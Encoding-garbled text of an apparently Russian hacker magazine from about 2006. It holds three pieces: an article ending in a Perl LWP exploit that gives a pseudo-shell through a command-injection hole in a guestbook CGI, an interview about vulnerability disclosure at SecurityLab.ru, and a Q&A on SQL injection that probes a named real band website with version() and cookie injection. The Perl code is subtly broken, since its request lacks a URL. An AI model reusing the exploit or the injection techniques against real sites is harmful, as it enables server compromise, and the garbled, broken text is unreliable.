ìû çàâîþåì ïî÷åò è óâàæåíèå ñðåäè ñåêüþðèòè-òó-
ñîâêè (ñîìíèòåëüíî, ÷åñòíî ãîâîðÿ :)). Èòàê. Íàø
ýêñïëîéò áóäåò ïðèíèìàòü â êà÷åñòâå ïàðàìåòðà
URL äûðÿâîé ãåñòáóêè è âûâîäèòü øåëëîïîäîáíîå
ïðèãëàøåíèå äëÿ ââîäà êîìàíä, âûâîäÿ ðåçóëüòàò
íà íàø òåðìèíàë. Òàêèì îáðàçîì, ìû ñîçäàäèì
ïîëíóþ èëëþçèþ ðàáîòû ñ øåëëîì. Îäíàêî ñòîèò
ïîìíèòü, ÷òî íàøè ïîõîæäåíèÿ áóäóò âèäíû âñåì
ïîñåòèòåëÿì ñàéòà, èáî ìû, ôàêòè÷åñêè, îñòàâëÿåì
â êà÷åñòâå ëîãà çàïèñü â êíèãå íà êàæäîå ñâîå
äåéñòâèå, òàê ÷òî íàø èìïðîâèçèðîâàííûé øåë íà-
äî èñïîëüçîâàòü áûñòðî è òîëüêî êàê ïåðâóþ ñòó-
ïåíü íà ïóòè ê êîíòðîëþ íàä ñèñòåìîé. ×òîáû ðåà-
ëèçîâàòü ýäàêèé øëþç ìåæäó íàìè è ñåðâåðîì, íàì
ïîíàäîáèòñÿ áèáëèîòåêà LWP äëÿ ôîðìèðîâàíèÿ
çàïðîñîâ è ðàçáîðà îòâåòîâ (áîëåå ïîäðîáíóþ èí-
ôîðìàöèþ îá ýòîé è äðóãèõ áèáëèîòåêàõ ñìîòðè
â ýòîì æå íîìåðå). Êðàòêèé êîä ïðîñòîãî ýêñïëîéòà
ïðèâåäåí â ëèñòèíãå 2. Êîä î÷åíü íåñëîæíûé è êîì-
ìåíòèðîâàòü òàì, îïÿòü æå, íå÷åãî. Ñîçäàåì îáúåêò
çàïðîñà, ïîäñòàâëÿÿ òóäà ñ÷èòàííóþ ñ ââîäà êîìàí-
äó, ïîëó÷àåì îòâåò è âûâîäèì åãî íà òåðìèíàë. Âñå-
ãî-òî! ß äóìàþ, ôèëüòðàöèþ âûâîäà äëÿ îòñå÷åíèÿ
HTML è êîíòðîëü ââîäà êàæäûé ñìîæåò äîáàâèòü
ñàì. Ìû íàïèñàëè ïðîñòîé ýêñïëîéò, êîòîðûé äàåò
íàì âîçìîæíîñòü âûïîëíÿòü ïðîèçâîëüíûå êîìàí-
äû íà ñòîðîíå ñåðâåðà.

Ðàññìîòðåííûé íàìè ïðèìåð ñîçíàòåëüíî óï-
ðîùåí. Íî áûëî áû îøèáêîé äóìàòü, ÷òî òàêîãî ðî-
äà ïðîñ÷åòû íå âñòðå÷àþòñÿ â ðåàëüíîñòè. Âñòðå÷à-
þòñÿ, è åùå êàê! Êîíå÷íî, â íå ñòîëü ðàôèíèðîâàí-
íîì âèäå, è, áåçóñëîâíî, ïðèäåòñÿ ïîïîòåòü, ÷òîáû
íàéòè óÿçâèìîñòü â áîëüøîì, ïðîôåññèîíàëüíîì
ïðîåêòå, � íî íà òî íàì è äàíà ãîëîâà. Â ýòîé ñòàòüå
ÿ ðàññìîòðåë ñàì ïðîöåññ íàïèñàíèÿ ýêñïëîéòà �
îñíîâíûå ñòàäèè ðàáîòû íàä óÿçâèìîñòüþ, â êîòî-
ðûå íåîáõîäèìî âíèêíóòü, ÷òîáû ñîçäàíèå ýêñïëîé-
òîâ ïåðåñòàëî àññîöèèðîâàòüñÿ ñ êàêèìè-òî íåäîñ-
òèæèìûìè âåðøèíàìè ìàñòåðñòâà. Êàêîé âûâîä
ìîæíî ñäåëàòü èç âñåãî ýòîãî áåçîáðàçèÿ? Äàæå
íåáîëüøàÿ íåáðåæíîñòü âî âòîðîñòåïåííîì êîäå ìî-
æåò ïóñòèòü êîòó ïîä õâîñò áåçîïàñíîñòü âñåé ñèñòå-
ìû. Îøèáêè åñòü â ëþáîì êîäå, íóæíî òîëüêî óìåòü
èõ èñêàòü.

�îáðàòèìñÿ ê HTML-êîäó íàøåé ìíîãîñòðàäàëüíîé ãîñòåâîé êíèãè

<html>

<body>

<TABLE ALIGN="CENTER">

<TR><TD>Date: Mon Dec 25 17:55:37 UTC 2006

</TD></TR><TR><TD>Name:

</TD></TR><TR><TD><PRE>Àäìèí

Ó íàñ ïîÿâèëàñü Ìåãà-ãåñòáóêà! </PRE></TD></TR><INPUT TYPE="HIDDEN" NAME="ID"

VALUE="1167068903

"> </TABLE><BR> <TABLE ALIGN="CENTER">

[...SKIPPED...]

<BR> <FORM ACTION="/cgi-bin/guest/script.cgi" METHOD="POST">

Name: <INPUT TYPE="TEXT" NAME="name"><BR><BR>

Ââåäèòå ñâîå ñîîáùåíèå:<BR> <TEXTAREA NAME="text" ROWS="15" COLS="50" WRAP="PHYSI-

CAL">

<INPUT TYPE="SUBMIT" VALUE="Îòïðàâèòü" NAME="Send">

<INPUT TYPE="HIDDEN" NAME="ID" VALUE="1167069479"> </FORM>

</body>

</html>

À âîò è ëèñòèíã íàøåãî íåñëàáîãî ýêñïëîéòà

#!/usr/bin/perl -w

use strict;

use LWP::UserAgent;

my $obj = LWP::UserAgent->new();

my $req = "";

my $url = shift;

while(1)

{

my $comm = "";

print '> ';

$comm = <STDIN>;

chomp($comm);

my $query =

$url.'?Send=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&text=1&name=1&

ID='.$comm;

print "\n".$query."\n";

$req = HTTP::Request->new(POST => );

my $result = $obj->request($req);

if($result->is_success)

{

print "ok!\n";

print $result->content;

}

}

1;

(1)

(2)
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Ï Ð À Ê Ò È × Å Ñ Ê È  Ó  Â Ñ Å Õ  

Ê Ð Ó Ï Í Û Õ  Ð À Ç Ð À Á Î Ò × È Ê Î Â  

Å Ñ Ò Ü  Ï Ð Î Å Ê Ò Û  Ï Î  Á Å Ç Î Ï À Ñ Í Î Ñ Ò È ,

Ã Ä Å  Î Í È  Ï Ó Á Ë È Ê Ó Þ Ò  È Í Ô Î Ð Ì À Ö È Þ

Î  Í À É Ä Å Í Í Û Õ  Ó ß Ç Â È Ì Î Ñ Ò ß Õ  È

Â Û Ê Ë À Ä Û Â À Þ Ò  Î Á Í Î Â Ë Å Í È ß .

Í Å Ê Î Ò Î Ð Û Å  Î Á Ð À Ñ Ò À Þ Ò

Í Î Â Î Ñ Ò Í Û Ì È  Ë Å Í Ò À Ì È  È

Ñ Î Á Ñ Ò Â Å Í Í Û Ì È  Ñ Ò À Ò Ü ß Ì È .

Ê À Ê Î É  Ò Î Ã Ä À  Ñ Ì Û Ñ Ë  Â  Ï Ð Î Å Ê Ò À Õ

Ò È Ï À  S E C U R I T Y L A B . R U ?

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Íè÷åãî òàêîãî îñîáåí-
íîãî, ÷åãî íåëüçÿ áûëî áû íàéòè èëè ïðî÷èòàòü
â äðóãèõ ìåñòàõ. Â îáùåì-òî, ïðàâèëüíî, Security-
Lab � ýòî íåêèé êëóá ïî èíòåðåñàì, â êîòîðîì ñî-
áèðàåòñÿ èíôîðìàöèÿ î áåçîïàñíîñòè, ïîëó÷åí-
íàÿ èç ìíîæåñòâà èñòî÷íèêîâ. Ýòî ïîçâîëÿåò ïî-
ñåòèòåëÿì çíà÷èòåëüíî ýêîíîìèòü âðåìÿ â ïîèñ-
êàõ íåîáõîäèìîé èíôîðìàöèè.

Ò Î  Å Ñ Ò Ü  Ý Ò Î ,  Ï Î  Ñ Ó Ò È ,  À Ã Ð Å Ã À Ò Î Ð

È Í Ô Î Ð Ì À Ö È È  È Ë È  Å Ñ Ò Ü  Î Ò Ë È × È ß ?

Ñ Á Î Ð ,  À Í À Ë È Ç  È Î Á Ð À Á Î Ò Ê À

Ì À Ò Å Ð È À Ë Î Â  È Ä Ó Ò  Â Ð Ó × Í Ó Þ ?

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Êàê è äðóãîé íîâîñòíîé
ðåñóðñ, ÷àùå âñåãî ìû ñîîáùàåì ÷óæóþ èíôîð-
ìàöèþ, à íå ñîçäàåì ñâîþ. Îäíàêî çà ïîñëåäíèé
ãîä ïîÿâèëîñü ìíîæåñòâî óíèêàëüíûõ àíàëèòè÷å-
ñêèõ ìàòåðèàëîâ. Ýòî ñîâìåñòíûå èññëåäîâàíèÿ ñ
Þíåñêî ïî âîïðîñàì ïðàâà â Ðîññèè, èññëåäîâà-
íèÿ ïî ðàçëè÷íûì ïðîáëåìàì èíôîðìàöèîííîé
áåçîïàñíîñòè ñ êîìïàíèåé Infowatch è äðóãèå.

Ë Þ Á Î É  Ï Ð Î Å Ê Ò ,  Ï Î Ñ Â ß Ù Å Í Í Û É

Á Å Ç Î Ï À Ñ Í Î Ñ Ò È ,  Ï Î È Ä Å Å  Í À Ä Î

Ð À Ñ Ö Å Í È Â À Ò Ü  Ê À Ê  Ê Ë À Ä Å Ç Ü

È Í Ô Î Ð Ì À Ö È È  Ä Ë ß Ç À Ù È Ò Û .  

Í Î  × À Ñ Ò Î  Ý Ò Ó  È Í Ô Î Ð Ì À Ö È Þ

È Ñ Ï Î Ë Ü Ç Ó Þ Ò  Õ À Ê Å Ð Û .

Ï Î Ë Ó × À Å Ò Ñ ß ,  Ï Ð Î Å Ê Ò  Ï Î Ð Î Æ Ä À Å Ò

Í Å Á Å Ç Î Ï À Ñ Í Î Ñ Ò Ü ,  À Â Ç Ë Î Ì ?

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Ãäå ïîëó÷èòü íóæíóþ
èíôîðìàöèþ, õàêåðû âñåãäà íàéäóò è áåç Security-
Lab. Ïîýòîìó ñòîèò çàäà÷à áîëåå àêòóàëüíàÿ èìåí-
íî äëÿ ñïåöèàëèñòîâ ïî çàùèòå èíôîðìàöèè �
íå ïðîïóñòèòü âàæíûå íîâîñòè â ìèðå îáåñïå÷åíèÿ
áåçîïàñíîñòè. Ñ äðóãîé ñòîðîíû, áûâàþò è ëåíèâûå
«õàêåðû», êîòîðûì ïîäàé âñå íà áëþäå÷êå, îòêîì-
ïèëèðóé íóæíûé ýêñïëîéò, äà è åùå îáúÿñíè, êàê ñ
íèì ðàáîòàòü. À åñëè ñåðüåçíî, ãðàíü ìåæäó áåçî-
ïàñíîñòüþ è âçëîìîì ðàñïëûâ÷àòà: äàæå web-áðàó-
çåð â óìåëûõ ðóêàõ ìîæåò ïðåâðàòèòüñÿ â èíñòðó-
ìåíò âçëîìà, íî ýòî æå íå îçíà÷àåò, ÷òî åãî íóæíî
çàïðåùàòü èëè îãðàíè÷èâàòü ðàñïðîñòðàíåíèå.

Í À Ñ Ê Î Ë Ü Ê Î  Í Î Â Î Ñ Ò Í Î É

È À Í À Ë È Ò È × Å Ñ Ê È É  Ê Î Í Ò Å Í Ò

Á Ë È Ç Î Ê  Ê Ð Å À Ë Ü Í Î Ñ Ò È ?  Î Á Û × Í Î

Í Î Â Î Ñ Ò È  È  Ñ Ò À Ò Ü È

Â Û Ê Ë À Ä Û Â À Þ Ò Ñ ß  Ï Î Ñ Ò Ô À Ê Ò Ó Ì .

È Ý Ò Î  Ï À Ð À Ä Î Ê Ñ À Ë Ü Í Î � Ñ Â Å Æ Ó Þ

È Í Ô Î Ð Ì À Ö È Þ  Î Á Û × Í Î

Ê Ó Ä À Á Û Ñ Ò Ð Å Å  Ì Î Æ Í Î  Í À É Ò È

Í À Ñ À É Ò À Õ  Õ À Ê - Ã Ð Ó Ï Ï .

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Êîíå÷íî, ñàìûå èíòå-
ðåñíûå è âîñòðåáîâàííûå ìàòåðèàëû ìû ñòàðà-
åìñÿ îïóáëèêîâàòü ñðàçó ïîñëå èõ ïîÿâëåíèÿ.
Â áîëüøèíñòâå ñëó÷àåâ íåáîëüøàÿ  çàäåðæêà ïî-
ëó÷åíèÿ èíôîðìàöèè íå êðèòè÷íà äëÿ ÷èòàòåëÿ
ñàéòà. Ïî ïîâîäó õàê-ãðóïï òû ïåðåãíóë, òàê êàê
áîëüøèíñòâî èññëåäîâàòåëåé òåñíî ñîòðóäíè÷à-
þò ñ ðàçðàáîò÷èêàìè è íèêîãäà íå îïóáëèêóþò èí-
ôîðìàöèþ äî âûõîäà ñîîòâåòñòâóþùåãî èñïðà-
âëåíèÿ. Âîîáùå â ïîñëåäíåå âðåìÿ ïðàêòè÷åñêè
íå îñòàëîñü õàêåðîâ-ýíòóçèàñòîâ. Óÿçâèìîñòè
èùóò ëèáî ñîòðóäíèêè security-ôèðì, äëÿ êîòîðûõ
ïîèñê � ýòî ÷àñòü ðàáîòû, ëèáî êðèìèíàë, êîòî-
ðûé ïèøåò ýêñïëîéòû äëÿ ïîëó÷åíèÿ ïðèáûëè.

Ê À Ê È Ì  Ï Ð Î Å Ê Ò À Ì  Ä Î Â Å Ð ß Å Ø Ü  

Ñ À Ì  È Î Ò Ê Ó Ä À  Á Å Ð Å Ø Ü  

Î Ñ Í Î Â Í Ó Þ  Ì À Ñ Ñ Ó  Í Î Â Î Ñ Ò Í Î É

È Í Ô Î Ð Ì À Ö È È  È À Í À Ë È Ò È Ê Ó ?

Ê À Ê Ñ Ò È Ì Ó Ë È Ð Ó Å Ø Ü  À Â Ò Î Ð Î Â  

Í À  Í À Ï È Ñ À Í È Å  Ñ Ò À Ò Å É ?  

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ:: Àâòîðîâ ìîæíî ñòèìó-
ëèðîâàòü òîëüêî äåíüãàìè. ×àùå âñåãî ýòî âûëè-
âàåòñÿ â êîíêóðñû ñòàòåé, è àâòîðû ëó÷øèõ èç íèõ
ïîëó÷àþò íåïëîõèå ïðèçû â äåíåæíîì èñ÷èñëå-
íèè. Íó, è ïåðåâîä. Êà÷åñòâî ïåðåâîäèìûõ ìàòå-
ðèàëîâ î÷åíü ÷àñòî íà ïîðÿäîê âûøå êà÷åñòâà òî-
ãî, ÷òî ìîãóò íàïèñàòü ñîáñòâåííûå àíàëèòèêè.
Èñòî÷íèêîâ èíôîðìàöèè ñëèøêîì ìíîãî, ñëîæíî
âûäåëèòü êàêîé-ëèáî èç íèõ. Â ëþáîì ñëó÷àå,
êàæäûé îïóáëèêîâàííûé ìàòåðèàë ïåðåïðîâåðÿ-
åòñÿ íà óíèêàëüíîñòü è äîñòîâåðíîñòü ïî ìåðå
âîçìîæíîñòè.

Â  Ï Ð È Í Ö È Ï Å ,  Í È Ê Ò Î  Í Å Ì Å Ø À Å Ò

Õ À Ê Å Ð Ó  Ñ Î Â Å Ð Ø È Ò Ü  À Ò À Ê Ó  Ï Î Ä

Â È Ä Î Ì  Î × Å Ð Å Ä Í Î Ã Î  Î Á Í Î Â Ë Å Í È ß ,

Ï Ó Ñ Ò È Â  Â Ñ Å Ò Ü  È Í Ô Î Ð Ì À Ö È Þ  Î

Ï Ñ Å Â Ä Î Ó ß Ç Â È Ì Î Ñ Ò È .  À Ñ À É Ò Û

Ï Î Á Å Ç Î Ï À Ñ Í Î Ñ Ò È  Î Ï Å Ð À Ò È Â Í Î

Ð À Ñ Ò À Ù À Ò  Ý Ò Ó  « Ä Å Ç Ó » ,  Ò À Ê Ê À Ê

Â Ð ß Ä Ë È  Ò Ù À Ò Å Ë Ü Í Î

Ï Ð Î Â Å Ð ß Þ Ò Å Å  Ñ Î Ä Å Ð Æ À Í È Å .

Ò À Ê Î Å  Â Î Ç Ì Î Æ Í Î ?

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Äà, òàêèå ñëó÷àè âîç-
íèêàþò äîâîëüíî ÷àñòî. Êîíå÷íî, ñàéòû ïî áåçî-
ïàñíîñòè íå èçó÷àþò ïðàâäèâîñòü èíôîðìàöèè
îá óÿçâèìîñòè. Îäíàêî åñëè òàêîå ïðîèçîøëî,
âñå ðàâíî ÷åðåç íåêîòîðîå âðåìÿ ñòàíåò èçâåñòíîS
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Àëåêñàíäð Àíòèïîâ �
Â íàñòîÿùèé ìîìåíò ñî-
òðóäíèê êîìïàíèè Positive
Technologies, çàíèìàåòñÿ
ðàçðàáîòêîé ñàéòà securi-
tylab.ru. Èìååò ìàññó ïðî-
ôåññèîíàëüíûõ íàâûêîâ
ïî çàùèòå èíôîðìàöèè,
à êîëè÷åñòâî ðàçíûõ
ïðîñëóøàííûõ êóðñîâ
è ïîëó÷åííûõ ñåðòèôèêà-
òîâ èñ÷èñëÿåòñÿ íåñ-
êîëüêèìè äåñÿòêàìè.
Èç óâëå÷åíèé â ïîñëåäíåå
âðåìÿ � ðàçâå ÷òî øàõ-
ìàòû, äà è òî, ïîòîìó ÷òî
ñûí ñòàë ïðîôåññèîíàëü-
íî èìè çàíèìàòüñÿ
(http://michael.antipov.name),
è ïîñòîÿííî ïðèõîäèòñÿ
åãî òðåíèðîâàòü
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î ïîäëîãå. Îïÿòü æå, òóò îïåðàòèâíîñòü òîëüêî
âî âðåä, èíîãäà ñòîèò ïîäîæäàòü ïàðó äíåé è íå
ïóáëèêîâàòü íåïîäòâåðæäåííóþ èëè ïîäîçðèòåëü-
íóþ èíôîðìàöèþ.

Ä Ð Ó Ã À ß  Ï Ð Î Á Ë Å Ì À �  Â Ñ Å Ò È  

È  Í À  Ò Â Î Å Ì  Ï Ð Î Å Ê Ò Å  Â × À Ñ Ò Í Î Ñ Ò È

È Í Î Ã Ä À  Í Å Â Î Ç Ì Î Æ Í Î  Í À É Ò È

È Í Ô Î Ð Ì À Ö È Þ  Î Á Ó ß Ç Â È Ì Î Ñ Ò ß Õ

Ñ Ë À Á Î  Ð À Ñ Ï Ð Î Ñ Ò Ð À Í Å Í Í Û Õ

Ï Ð Î Ã Ð À Ì Ì .

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Íå òàê. Ìû ïóáëèêóåì
èíôîðìàöèþ îáî âñåõ óÿçâèìîñòÿõ, î êîòîðûõ
áûëî ñîîáùåíî ïóáëè÷íî. Êîíå÷íî, èíôîðìàöèÿ
îá óÿçâèìîñòÿõ â ìàëîðàñïðîñòðàíåííûõ ïðî-
ãðàììàõ ïîÿâëÿåòñÿ íå òàê îïåðàòèâíî, êàê â øè-
ðîêî èñïîëüçóåìîì ÏÎ. Òàêæå íà ñàéòå ñîäåð-
æèòñÿ ïîëíàÿ áàçà äàííûõ îáî âñåõ óÿçâèìîñòÿõ
íà àíãëèéñêîì ÿçûêå: http://en.securitylab.ru/nvd/.
Íà ñåãîäíÿøíèé äåíü � 21260, îáíàðóæåííûõ
ñ 1 îêòÿáðÿ 1988 ãîäà.

Ç À × Å Ì  Ï Î Ä Ð Î Á Í Î  Î Ï È Ñ Û Â À Ò Ü

Ó ß Ç Â È Ì Î Ñ Ò È ?  Ê Ó Ä À Ë Î Ã È × Í Å Å

Ì Î Ë × À  Ä Å Ë À Ò Ü  Ð Å Ã Ó Ë ß Ð Í Û Å

Î Á Í Î Â Ë Å Í È ß  Ê Ò Î É  È Ë È  È Í Î É

Ï Ð Î Ã Ð À Ì Ì Å .  Ð Å À Ë Ü Í Û Å  Õ À Ê Å Ð Û

Â Ñ Å  Ð À Â Í Î  Â Ê Ó Ð Ñ Å  Ä Å Ë À ,  

À  È Í Ô Î Ð Ì À Ö È Î Í Í Û É  Â À Ê Ó Ó Ì

Í Å Ä À Ñ Ò  Ø À Í Ñ Î Â  Í À Â Ç Ë Î Ì Ò Å Ì ,

Ê Ò Î  Ñ À Ì  Â  Ý Ò Î Ì  Í È Ê Î Ã Ä À

Í Å Ð À Ç Á Å Ð Å Ò Ñ ß .

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Â öåëîì òû ïðàâ. Êî-
íå÷íîìó ïîòðåáèòåëþ íå íóæíû ïîäðîáíîñòè óÿç-
âèìîñòè, åìó âàæíî çíàòü, ÷òî îíà óñòðàíåíà. Êîã-
äà ñîîáùàåòñÿ, ÷òî çàêðûòà êðèòè÷åñêàÿ óÿçâè-
ìîñòü, òî ëåã÷å ñðàçó óñòàíîâèòü ñîîòâåòñòâóþùåå
èñïðàâëåíèå, ÷åì êàæäûé ðàç ïîñëå âûõîäà íîâîé
âåðñèè îáíîâëÿòü ÏÎ. Ïîýòîìó ðàçðàáîò÷èêè ñàìè
çàèíòåðåñîâàíû â ðàçãëàøåíèè ôàêòà íàëè÷èÿ
óÿçâèìîñòè òîëüêî ïîñëå åå çàêðûòèÿ (íî îíè íå çà-
èíòåðåñîâàíû â ðàñêðûòèè ñïîñîáà ýêñïëóàòàöèè).
Ïîäðîáíàÿ èíôîðìàöèÿ î äûðå íóæíà, ê ïðèìåðó,

ðàçðàáîò÷èêàì ñêàíåðîâ áåçîïàñíîñòè (÷òîáû
âñòàâèòü ñîîòâåòñòâóþùèå ïðîâåðêè), IDS-ñèñòåì
(äëÿ íàïèñàíèÿ ñèãíàòóð àòàê) è ïðîèçâîäèòåëÿì
àíàëîãè÷íûõ ïðîãðàììíûõ ïðîäóêòîâ, ÷òîáû íå äî-
ïóñêàòü â ñâîèõ ïðîãðàììàõ ïîäîáíûõ îøèáîê. 

Ð À Ñ Ñ × È Ò Û Â À Ë Ë È  Í À Ò À Ê Ó Þ

Ï Î Ï Ó Ë ß Ð Í Î Ñ Ò Ü  Ï Ð Î Å Ê Ò À ,

Ê Î Ã Ä À Â Ñ Å  Ò Î Ë Ü Ê Î  Í À × È Í À Ë Î Ñ Ü ?

Ò Û  Ó Æ Å  Ð Å À Ë È Ç Î Â À Ë  Â  Ð À Ì Ê À Õ

Í Å Ã Î  Ò Î ,  × Ò Î  Õ Î Ò Å Ë ,  È Ë È Å Ñ Ò Ü

Å Ù Å Ç À Ä Ó Ì Ê È ?  Ê À Ê À ß  Ã Ë À Â Í À ß

Ö Å Ë Ü  Í À Ñ Å Ã Î Ä Í ß Ø Í È É  Ä Å Í Ü ?

ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Íå ìîãó ñêàçàòü, ÷òî
ÿ íà ÷òî-òî ðàññ÷èòûâàë. Íà÷èíàëîñü âñå êàê õîá-
áè, ïîòîì, êîãäà ñòàëè ñîòðóäíè÷àòü ñ êîìïàíèåé
Positive Technologies, ïîÿâèëàñü âîçìîæíîñòü óäå-
ëÿòü áîëüøå âðåìåíè ñîçäàíèþ ñàéòà è ïðåäîñòà-
âëåíèþ íóæíîé èíôîðìàöèè. Ñåé÷àñ íå ðåàëèçî-
âàíî è ÷åòâåðòè òîãî, ÷òî ÿ ïëàíèðóþ. Íî ÷òîáû âñå
ýòî ñäåëàòü, íóæåí åùå íå îäèí ãîä ðàáîòû.
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Íà âîïðîñû îòâå÷àë
Spider_Net
(spider_net@inbox.ru),
www.vr-online.ru 
Ó÷àñòíèê ïðîåêòà
vr-online.ru, ðàíåå
ïðèíèìàë ó÷àñòèå
â ïðîåêòå mashp
(mashp.h10.ru).
Â ðåàëüíîé æèçíè
ðàáîòàåò
àäìèíèñòðàòîðîì ÁÄ
è ïðîãðàììèñòîì.
Â ïðîôåññèîíàëüíîì
ïðîãðàììèðîâàíèè
áîëåå 4 ëåò, â îñíîâíîì
ïèøåò íà Delphi è PHP.

Î Á Û × Í Î  Ä Ë ß  Ò Î É  È Ë È  È Í Î É  À Ò À Ê È

Í À Ä Î  Ç Í À Ò Ü  Ñ Å Ð Â Å Ð  Á À Ç  Ä À Í Í Û Õ

È Å Ã Î  Â Å Ð Ñ È Þ .  Ñ Ó Ù Å Ñ Ò Â Ó Þ Ò Ë È

Ý Ô Ô Å Ê Ò È Â Í Û Å  Ñ Ï Î Ñ Î Á Û  È Õ

Î Ï Ð Å Ä Å Ë Å Í È ß ?

Ñóùåñòâóþò, õîòÿ 100% ðàáîòàþùåãî ñïî-
ñîáà íåò. Äëÿ íà÷àëà íóæíî ïîïðîáîâàòü

âíåäðèòü êàêîé-íèáóäü ñïåöñèìâîë â ëþáîé çàï-
ðîñ, äîïóñòèì, ýòî áóäåò îäèíàðíàÿ êàâû÷êà. Åñëè
ñöåíàðèé íå ôèëüòðóåò ïåðåäàííûå ïàðàìåòðû,
òî òû äîëæåí óâèäåòü ñîîáùåíèå îá îøèáêå.
Èç òåêñòà îøèáêè ìîæíî óçíàòü íàçâàíèå ñåðâåðà
ÁÄ. Äîïóñòèì, ýòî MySQL. ×òîáû îïðåäåëèòü âåð-
ñèþ, ìîæíî ïîïðîáîâàòü âíåäðèòü ôóíêöèþ ver-
sion() â çàïðîñ. Îíà âîçâðàùàåò íîìåð âåðñèè
MySQL. Íåêîòîðûå ãðàìîòíûå ïðîãðàììèñòû îòê-

ëþ÷àþò âûâîä ëþáûõ îøèáîê, íî, òåì íå ìåíåå,
äàííûå, êîòîðûå ñöåíàðèé ïîëó÷àåò îò ïîëüçîâàòå-
ëÿ, ôèëüòðóþòñÿ ïëîõî. Â ðåçóëüòàòå SQL Injection
íå îòìåíÿåòñÿ, íî ïðèõîäèòñÿ ðàáîòàòü âñëåïóþ. 

Âîò ðåàëüíûé ïðèìåð. Íà îôèöèàëüíîì ñàé-
òå îäíîé èç ìîèõ ëþáèìûõ ãðóïï åñòü ðàçäåë
ñ òåêñòàìè èõ ïåñåí, âñå òåêñòû õðàíÿòñÿ â ÁÄ,
è èõ âûáîðêà ïðîèñõîäèò ñ ïîìîùüþ ñöåíàðèÿ íà
PHP ñëåäóþùèì îáðàçîì. Ïðè çàãðóçêå ýòîé
ññûëêè � www.kipelov.ru/ly.php?idtxt=1 � ïîëó÷àåì
ñòðàíè÷êó ñ òåêñòîì ïåñíè ïîä íîìåðîì îäèí. Åñ-
ëè ïîïðîáîâàòü âñòàâèòü êàêîé-íèáóäü ñïåöñèì-
âîë â ïåðåìåííóþ idtxt, òî çàãðóçèòñÿ ïðîñòî ÷èñ-
òàÿ ñòðàíèöà áåç êàêèõ-ëèáî íàìåêîâ íà îøèáêó.
Â òàêîì ñëó÷àå ïîïðîáóåì âíåäðèòü ôóíêöèþ ver-
sion() â ýòîò çàïðîñ: www.kipelov.ru/ly.php?idtxt=ver-
sion(). Òåïåðü ìû âèäèì íå ÷èñòóþ ñòðàíèöó, à ïå-



71

ñåíêó ïîä íîìåðîì ÷åòûðå. Çíà÷èò, ôóíêöèÿ ver-
sion âåðíóëà «4», è, ñëåäîâàòåëüíî, ìû èìååì äå-
ëî ñ ÷åòâåðòîé âåðñèåé «ìóñêóëà». ×òîáû òî÷íî
îïðåäåëèòü íàçâàíèå ñåðâåðà ÁÄ, ìîæíî ïîïû-
òàòüñÿ âíåäðèòü â çàïðîñ òå ôóíêöèè, êîòîðûå
ïðèñóòñòâóþò òîëüêî â ðåàëèçàöèè SQL îïðåäå-
ëåííîãî ñåðâåðà ÁÄ. Äëÿ ýòîãî íåîáõîäèìî çíàòü
òîíêîñòè áîëüøèíñòâà èçâåñòíûõ ñåðâåðîâ èëè
èñïîëüçîâàòü ñïåöèàëüíûå ïðîãðàììêè.

Åñëè íè îäíà ïîïûòêà íå óâåí÷àëàñü óñïå-
õîì, íå ðàññòðàèâàéñÿ! Óçíàé õîñòåðà, íà ñåðâåðå
êîòîðîãî ðàñïîëîæåí ýòîò ñàéò. Ïîòîì çàéäè íà
åãî îôèöèàëüíóþ ñòðàíèöó. Â áîëüøèíñòâå ñëó÷à-
åâ õîñòåðû îïèñûâàþò êîíôèãóðàöèþ ñâîèõ ñåð-
âåðîâ è ÏÎ, óñòàíîâëåííîå íà íèõ. Åñëè íà ñàéòå
íè÷åãî íåò, òî ïîïðîáóé íàïèñàòü ïèñüìî. Â ïèñü-
ìå îáúÿñíè, ÷òî òû õî÷åøü âîñïîëüçîâàòüñÿ óñëó-

ãàìè õîñòèíãà, à ãëàâíûé êðèòåðèé � ñåðâåð ÁÄ.
Â èòîãå, òû ïîëó÷èøü îòâåò íà ñâîé âîïðîñ. ×òî
êàñàåòñÿ ñåðâåðà MySQL, òî äëÿ îïðåäåëåíèÿ åãî
âåðñèè ñóùåñòâóþò ñïåöèàëüíûå ïðîãðàììêè. Ê
ïðèìåðó, ðåëèç îò êîìàíäû UkrTeam. Åå èñõîäíûé
òåêñò åñòü íà äèñêå ê æóðíàëó. Ìîæåøü åùå çàãëÿ-
íóòü íà www.packetstortsecuiry.nl.

Â Î Ç Ì Î Æ Í Î  Ë È  Â Í Å Ä Ð È Ò Ü

S Q L  I N J E C T I O N  × Å Ð Å Ç  Ï Ë Þ Ø Ê È

( C O O K I E S ) ?

Áûâàþò òàêèå ñëó÷àè, êîãäà âåá-ïðîãðàì-
ìèñòû èçâðàùàþòñÿ è îñóùåñòâëÿþò ëþ-

áóþ ïåðåäà÷ó äàííûõ ïîñðåäñòâîì POST-çàïðî-
ñîâ. Ïðè èñïîëüçîâàíèè ýòîãî ìåòîäà â àäðåñíîé
ñòðîêå íå áóäóò îòîáðàæàòüñÿ èìåíà ïåðåìåííûõ.
Íåêîòîðûå ïðîãðàììèñòû ñ÷èòàþò, ÷òî òàê îíè ìî-
ãóò îáåçîïàñèòü ñâîé ïðîåêò îò âñåõ áåä, è çàáèâà-
þò íà ïðîâåðêó ïåðåäàâàåìûõ îò ïîëüçîâàòåëÿ
äàííûõ. Ê òîìó æå ìíîãèå âàæíûå äàííûå îíè ñîõ-
ðàíÿþò â cookies. Ìîæåøü îòêðûòü ïëþøêó, ñêà-
æåì, â CookieEditor è ïîïûòàòüñÿ âíåäðèòü â îäèí
èç ïàðàìåòðîâ SQL Injection. Òàê ÷òî íå ñòîèò ïðå-
íåáðåãàòü ïðîâåðêîé äàííûõ èç Cookies.

× Å Ì  Î Ò Ë È × À Å Ò Ñ ß  Â Í Å Ä Ð Å Í È Å  S Q L

I N J E C T I O N  Â 3 - Å É  È 4 - Î É  Â Å Ð Ñ È È

